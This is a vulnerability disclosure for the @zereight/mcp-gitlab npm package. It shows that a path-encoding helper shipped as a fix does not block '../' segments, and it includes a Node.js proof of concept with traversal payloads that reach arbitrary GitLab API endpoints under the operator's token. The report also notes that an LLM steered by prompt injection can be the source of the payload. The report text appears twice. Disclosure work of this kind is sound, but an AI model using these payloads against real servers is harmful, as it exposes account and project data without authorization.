Title
encodeGitLabPath never blocks ../: GHSA-4rm9 patch bypass leads to path traversal to arbitrary /api/v4 endpoints (4 call sites)
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Secondary: CWE-116: Improper Encoding or Escaping of Output (the encoding step itself is the defect — it was written to look like it neutralizes ./.., but structurally cannot)
Severity
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5 (High) — computed with the cvss Python library's CVSS3 class, matching the same impact reasoning GHSA-7c3w-fxgh-frc7 (the sibling job_id path-traversal advisory in this same repository) used for its own scoring: network-reachable, no special privilege beyond ordinary tool-calling ability (an MCP client, or an LLM steered by prompt injection, per that advisory's own threat model), no user interaction, S:U because — as GHSA-7c3w itself states — "the base URL host is fixed ... this is request-path forgery within the configured GitLab, not external SSRF." C:H because the request reaches arbitrary GET /api/v4/... endpoints under the operator's real token (e.g. /api/v4/user, /api/v4/groups, other projects' data); I:N/A:N because every affected call site only ever issues a GET.
Affected Products
| Ecosystem |
Package |
Vulnerable version range confirmed |
Patched |
| npm |
@zereight/mcp-gitlab |
current latest (verified against index.ts/downloads/proxy.ts on main, package.json version 2.1.62) |
none |
This is a patch bypass of GHSA-4rm9-rfp2-j39q, whose fix (introducing encodeGitLabPath, patched in 2.1.41) is still present, unchanged, and still exploitable in the current 2.1.62.
Description
GHSA-4rm9-rfp2-j39q described direct_asset_path in download_release_asset being appended to a GitLab API URL unencoded, letting ../ segments escape the intended /projects/{id}/releases/{tag}/downloads/ route. The shipped fix added two helpers in index.ts:
function encodeGitLabPathSegment(value: string): string {
return encodeURIComponent(decodeURIComponent(value));
}
function encodeGitLabPath(value: string): string {
return value.split("/").map(encodeGitLabPathSegment).join("/");
}
encodeGitLabPath is meant to safely handle a path that legitimately contains /-separated segments (a nested file path) by encoding each segment individually rather than encoding the whole string (which would turn every / into %2F and break legitimate multi-segment paths). The defect: encodeURIComponent treats . as an unreserved character and never encodes it. Splitting "../../../../user" on / produces the segments ["..", "..", "..", "..", "user"]; running encodeGitLabPathSegment on each one returns them completely unchanged (".." encodes to ".."), and rejoining with / reproduces the exact original traversal string. The "encoding" step does nothing to a dot-segment payload — it only affects characters that need percent-encoding, and ./.. never did.
The resulting string is then embedded in a template literal and handed to new URL(...) (or, in the download-proxy routes, built into a URL the server itself then fetch()es) — and URL does collapse dot-segments per RFC 3986 §5.2.4, exactly the escape encodeGitLabPath was supposed to prevent. This is the identical failure mode Tornado's tornado.template.Loader had (a "sanitizer" that never touches the one character class that matters), just in a different codebase.
Four call sites reproduce this, all currently present and unfixed:
downloadReleaseAsset() (index.ts, the download_release_asset tool — this is the very function GHSA-4rm9 was filed against):
`${getEffectiveApiUrl()}/projects/${encodeURIComponent(effectiveProjectId)}/releases/${encodeGitLabPathSegment(tagName)}/downloads/${encodeGitLabPath(directAssetPath)}`
getJobArtifactFile() (index.ts, the get_job_artifact_file tool) inlines the identical split/map/join logic instead of calling the shared helper by name, but is exactly as vulnerable:
const encodedArtifactPath = artifactPath.split("/").map(segment => encodeGitLabPathSegment(segment)).join("/");
`${getEffectiveApiUrl()}/projects/${encodeURIComponent(effectiveProjectId)}/jobs/${encodeGitLabPathSegment(jobId)}/artifacts/${encodedArtifactPath}`
downloads/proxy.ts's "attachment" download-proxy route (filename query parameter), calling the same broken helper via dependency injection:
`${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/uploads/${deps.encodeGitLabPathSegment(secret)}/${deps.encodeGitLabPath(filename)}`
downloads/proxy.ts's "release-asset" download-proxy route (direct_asset_path query parameter) — the HTTP-proxy sibling of call site 1:
`${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/releases/${encodeURIComponent(tag_name)}/downloads/${deps.encodeGitLabPath(direct_asset_path)}`
This is also the same impact class as GHSA-7c3w-fxgh-frc7 (job_id in the pipeline/job tools, fixed by switching to encodeURIComponent directly rather than this per-segment helper) — but encodeGitLabPath was specifically introduced to fix a similar report and still doesn't close the traversal, so this is a live sibling of both an already-disclosed bug and its own remediation.
Proof of Concept
No live GitLab instance is needed: the escape happens entirely in the URL construction, before any network request is made, exactly as with the Tornado finding earlier this session. Reproduced the real helper functions verbatim and fed each of the four vulnerable templates a traversal payload:
function encodeGitLabPathSegment(value) {
return encodeURIComponent(decodeURIComponent(value));
}
function encodeGitLabPath(value) {
return value.split("/").map(encodeGitLabPathSegment).join("/");
}
const apiUrl = "https://gitlab.example.com/api/v4";
const effectiveProjectId = "1";
const tagName = "v1.0.0";
const directAssetPath = "../../../../user"; // attacker-controlled tool argument
const url = `${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/releases/${encodeGitLabPathSegment(tagName)}/downloads/${encodeGitLabPath(directAssetPath)}`;
console.log(new URL(url).toString());
Output:
https://gitlab.example.com/api/v4/projects/user
The full PoC script (poc.js, attached) exercises all four call sites and confirms each one collapses its intended prefix and lands on an attacker-chosen /api/v4/ path:
download_release_asset -> /api/v4/projects/user
get_job_artifact_file -> /api/v4/projects/groups
download-proxy attachment route -> /api/v4/user
download-proxy release-asset -> /api/v4/projects/user
(The exact number of ../ segments needed to reach the API root vs. a /projects/{id}/...-relative sibling path depends on the specific route's own prefix depth — both are demonstrated above, and either is sufficient to prove the traversal is live.)
Impact
Any caller of the download_release_asset or get_job_artifact_file MCP tools, or either affected HTTP download-proxy route, can redirect the request the server makes — carrying the operator's real Private-Token/GITLAB_PERSONAL_ACCESS_TOKEN — to an arbitrary GET /api/v4/... endpoint instead of the intended download route. As GHSA-7c3w-fxgh-frc7 already demonstrated for the sibling job_id bug, this reaches endpoints like /api/v4/user (the token owner's account details) or other projects'/groups' data beyond what the calling tool was scoped to, and — per the standard MCP threat model these advisories already use — the argument value can come from an LLM steered by prompt injection, not only a directly malicious human caller.
Suggested fix
encodeGitLabPath/encodeGitLabPathSegment need to reject (or strip) dot-segments, not just percent-encode other characters. The minimal fix: after splitting on /, reject the whole path if any segment, once decoded, is exactly . or .. (mirroring the approach Tornado's own toPathSegment()-style helper takes — see this session's earlier Tornado report — or simply validate the final joined-and-resolved path stays under the intended prefix before use, the same way resolveTrustedGitLabApiUrl was added elsewhere in this codebase for the X-GitLab-API-URL SSRF class). Apply the fix to encodeGitLabPath itself (fixing call sites 1, 3, 4 for free) and to getJobArtifactFile's inline duplicate (call site 2) — ideally by making that function call the shared helper instead of re-implementing the same logic a second time, which is exactly how this class of bug ends up with multiple untouched instances.
Supporting material
poc.js — runnable Node.js reproduction of all four call sites, attached separately.
- All file paths and code excerpts above are from the public
zereight/gitlab-mcp repository (main branch, package.json version 2.1.62) and independently verifiable. Referenced prior advisories: GHSA-4rm9-rfp2-j39q (whose fix this report shows is ineffective) and GHSA-7c3w-fxgh-frc7 (the sibling job_id bug establishing the same impact class in this repository).
Supporting material (poc.js, full contents)
// Dynamic PoC: zereight/gitlab-mcp's `encodeGitLabPath` helper (index.ts:1967,
// reused verbatim in downloads/proxy.ts) does not actually block path
// traversal, despite being the fix shipped for GHSA-4rm9-rfp2-j39q
// (direct_asset_path path escape in download_release_asset).
//
// Root cause: encodeGitLabPath splits the input on "/", runs
// encodeGitLabPathSegment (encodeURIComponent(decodeURIComponent(x))) on each
// piece, and rejoins with "/". encodeURIComponent never touches "." (it is in
// the "unreserved" set per the URI spec), so a literal ".." segment survives
// completely unchanged through this "encoding" step. The rejoined string is
// then embedded in a template literal and handed to `new URL(...)`, which DOES
// collapse dot-segments per RFC 3986 -- exactly the escape the fix was
// supposed to prevent.
//
// Reproduces the exact vulnerable code from four call sites, verbatim:
// 1. index.ts downloadReleaseAsset() (the "download_release_asset" tool)
// 2. index.ts getJobArtifactFile() (the "get_job_artifact_file" tool,
// inlines the identical split/map/join pattern instead of calling the
// shared helper by name, but is exactly as vulnerable)
// 3. downloads/proxy.ts "attachment" download-proxy route (filename)
// 4. downloads/proxy.ts "release-asset" download-proxy route (direct_asset_path)
function encodeGitLabPathSegment(value) {
return encodeURIComponent(decodeURIComponent(value));
}
function encodeGitLabPath(value) {
return value.split("/").map(encodeGitLabPathSegment).join("/");
}
const apiUrl = "https://gitlab.example.com/api/v4";
const effectiveProjectId = "1";
function show(label, rawUrl) {
const normalized = new URL(rawUrl);
console.log(`=== ${label} ===`);
console.log(" constructed :", rawUrl);
console.log(" normalized :", normalized.toString());
console.log();
}
// 1. download_release_asset -- verbatim shape from index.ts downloadReleaseAsset()
{
const tagName = "v1.0.0";
const directAssetPath = "../../../../user"; // attacker-controlled tool argument
const url = `${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/releases/${encodeGitLabPathSegment(tagName)}/downloads/${encodeGitLabPath(directAssetPath)}`;
show("download_release_asset -> escapes to /api/v4/projects/user", url);
}
// 2. get_job_artifact_file -- verbatim shape from index.ts getJobArtifactFile()
{
const jobId = "123";
const artifactPath = "../../../../groups"; // attacker-controlled tool argument
const encodedArtifactPath = artifactPath.split("/").map(segment => encodeGitLabPathSegment(segment)).join("/");
const url = `${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/jobs/${encodeGitLabPathSegment(jobId)}/artifacts/${encodedArtifactPath}`;
show("get_job_artifact_file -> escapes to /api/v4/groups", url);
}
// 3. download-proxy "attachment" route -- verbatim shape from downloads/proxy.ts
{
const secret = "abc123";
const filename = "../../../../user"; // attacker-controlled query param
const url = `${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/uploads/${encodeGitLabPathSegment(secret)}/${encodeGitLabPath(filename)}`;
show("download-proxy attachment route -> escapes to /api/v4/projects/user", url);
}
// 4. download-proxy "release-asset" route -- verbatim shape from downloads/proxy.ts
{
const tagName = "v1.0.0";
const directAssetPath = "../../../../user"; // attacker-controlled query param
const url = `${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/releases/${encodeURIComponent(tagName)}/downloads/${encodeGitLabPath(directAssetPath)}`;
show("download-proxy release-asset route -> escapes to /api/v4/projects/user", url);
}
console.log("All four call sites collapse the intended prefix and reach an arbitrary");
console.log("/api/v4/ endpoint, sent with the operator's configured GitLab token.");
Title
encodeGitLabPathnever blocks../: GHSA-4rm9 patch bypass leads to path traversal to arbitrary/api/v4endpoints (4 call sites)Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Secondary: CWE-116: Improper Encoding or Escaping of Output (the encoding step itself is the defect — it was written to look like it neutralizes
./.., but structurally cannot)Severity
CVSS 3.1:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N= 7.5 (High) — computed with thecvssPython library'sCVSS3class, matching the same impact reasoning GHSA-7c3w-fxgh-frc7 (the siblingjob_idpath-traversal advisory in this same repository) used for its own scoring: network-reachable, no special privilege beyond ordinary tool-calling ability (an MCP client, or an LLM steered by prompt injection, per that advisory's own threat model), no user interaction,S:Ubecause — as GHSA-7c3w itself states — "the base URL host is fixed ... this is request-path forgery within the configured GitLab, not external SSRF."C:Hbecause the request reaches arbitraryGET /api/v4/...endpoints under the operator's real token (e.g./api/v4/user,/api/v4/groups, other projects' data);I:N/A:Nbecause every affected call site only ever issues aGET.Affected Products
@zereight/mcp-gitlabindex.ts/downloads/proxy.tsonmain, package.json version2.1.62)This is a patch bypass of GHSA-4rm9-rfp2-j39q, whose fix (introducing
encodeGitLabPath, patched in2.1.41) is still present, unchanged, and still exploitable in the current2.1.62.Description
GHSA-4rm9-rfp2-j39q described
direct_asset_pathindownload_release_assetbeing appended to a GitLab API URL unencoded, letting../segments escape the intended/projects/{id}/releases/{tag}/downloads/route. The shipped fix added two helpers inindex.ts:encodeGitLabPathis meant to safely handle a path that legitimately contains/-separated segments (a nested file path) by encoding each segment individually rather than encoding the whole string (which would turn every/into%2Fand break legitimate multi-segment paths). The defect:encodeURIComponenttreats.as an unreserved character and never encodes it. Splitting"../../../../user"on/produces the segments["..", "..", "..", "..", "user"]; runningencodeGitLabPathSegmenton each one returns them completely unchanged (".."encodes to".."), and rejoining with/reproduces the exact original traversal string. The "encoding" step does nothing to a dot-segment payload — it only affects characters that need percent-encoding, and./..never did.The resulting string is then embedded in a template literal and handed to
new URL(...)(or, in the download-proxy routes, built into a URL the server itself thenfetch()es) — andURLdoes collapse dot-segments per RFC 3986 §5.2.4, exactly the escapeencodeGitLabPathwas supposed to prevent. This is the identical failure mode Tornado'stornado.template.Loaderhad (a "sanitizer" that never touches the one character class that matters), just in a different codebase.Four call sites reproduce this, all currently present and unfixed:
downloadReleaseAsset()(index.ts, thedownload_release_assettool — this is the very function GHSA-4rm9 was filed against):`${getEffectiveApiUrl()}/projects/${encodeURIComponent(effectiveProjectId)}/releases/${encodeGitLabPathSegment(tagName)}/downloads/${encodeGitLabPath(directAssetPath)}`getJobArtifactFile()(index.ts, theget_job_artifact_filetool) inlines the identical split/map/join logic instead of calling the shared helper by name, but is exactly as vulnerable:downloads/proxy.ts's "attachment" download-proxy route (filenamequery parameter), calling the same broken helper via dependency injection:`${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/uploads/${deps.encodeGitLabPathSegment(secret)}/${deps.encodeGitLabPath(filename)}`downloads/proxy.ts's "release-asset" download-proxy route (direct_asset_pathquery parameter) — the HTTP-proxy sibling of call site 1:`${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/releases/${encodeURIComponent(tag_name)}/downloads/${deps.encodeGitLabPath(direct_asset_path)}`This is also the same impact class as GHSA-7c3w-fxgh-frc7 (
job_idin the pipeline/job tools, fixed by switching toencodeURIComponentdirectly rather than this per-segment helper) — butencodeGitLabPathwas specifically introduced to fix a similar report and still doesn't close the traversal, so this is a live sibling of both an already-disclosed bug and its own remediation.Proof of Concept
No live GitLab instance is needed: the escape happens entirely in the URL construction, before any network request is made, exactly as with the Tornado finding earlier this session. Reproduced the real helper functions verbatim and fed each of the four vulnerable templates a traversal payload:
Output:
The full PoC script (
poc.js, attached) exercises all four call sites and confirms each one collapses its intended prefix and lands on an attacker-chosen/api/v4/path:(The exact number of
../segments needed to reach the API root vs. a/projects/{id}/...-relative sibling path depends on the specific route's own prefix depth — both are demonstrated above, and either is sufficient to prove the traversal is live.)Impact
Any caller of the
download_release_assetorget_job_artifact_fileMCP tools, or either affected HTTP download-proxy route, can redirect the request the server makes — carrying the operator's realPrivate-Token/GITLAB_PERSONAL_ACCESS_TOKEN— to an arbitraryGET /api/v4/...endpoint instead of the intended download route. As GHSA-7c3w-fxgh-frc7 already demonstrated for the siblingjob_idbug, this reaches endpoints like/api/v4/user(the token owner's account details) or other projects'/groups' data beyond what the calling tool was scoped to, and — per the standard MCP threat model these advisories already use — the argument value can come from an LLM steered by prompt injection, not only a directly malicious human caller.Suggested fix
encodeGitLabPath/encodeGitLabPathSegmentneed to reject (or strip) dot-segments, not just percent-encode other characters. The minimal fix: after splitting on/, reject the whole path if any segment, once decoded, is exactly.or..(mirroring the approach Tornado's owntoPathSegment()-style helper takes — see this session's earlier Tornado report — or simply validate the final joined-and-resolved path stays under the intended prefix before use, the same wayresolveTrustedGitLabApiUrlwas added elsewhere in this codebase for theX-GitLab-API-URLSSRF class). Apply the fix toencodeGitLabPathitself (fixing call sites 1, 3, 4 for free) and togetJobArtifactFile's inline duplicate (call site 2) — ideally by making that function call the shared helper instead of re-implementing the same logic a second time, which is exactly how this class of bug ends up with multiple untouched instances.Supporting material
poc.js— runnable Node.js reproduction of all four call sites, attached separately.zereight/gitlab-mcprepository (mainbranch,package.jsonversion2.1.62) and independently verifiable. Referenced prior advisories: GHSA-4rm9-rfp2-j39q (whose fix this report shows is ineffective) and GHSA-7c3w-fxgh-frc7 (the siblingjob_idbug establishing the same impact class in this repository).Supporting material (poc.js, full contents)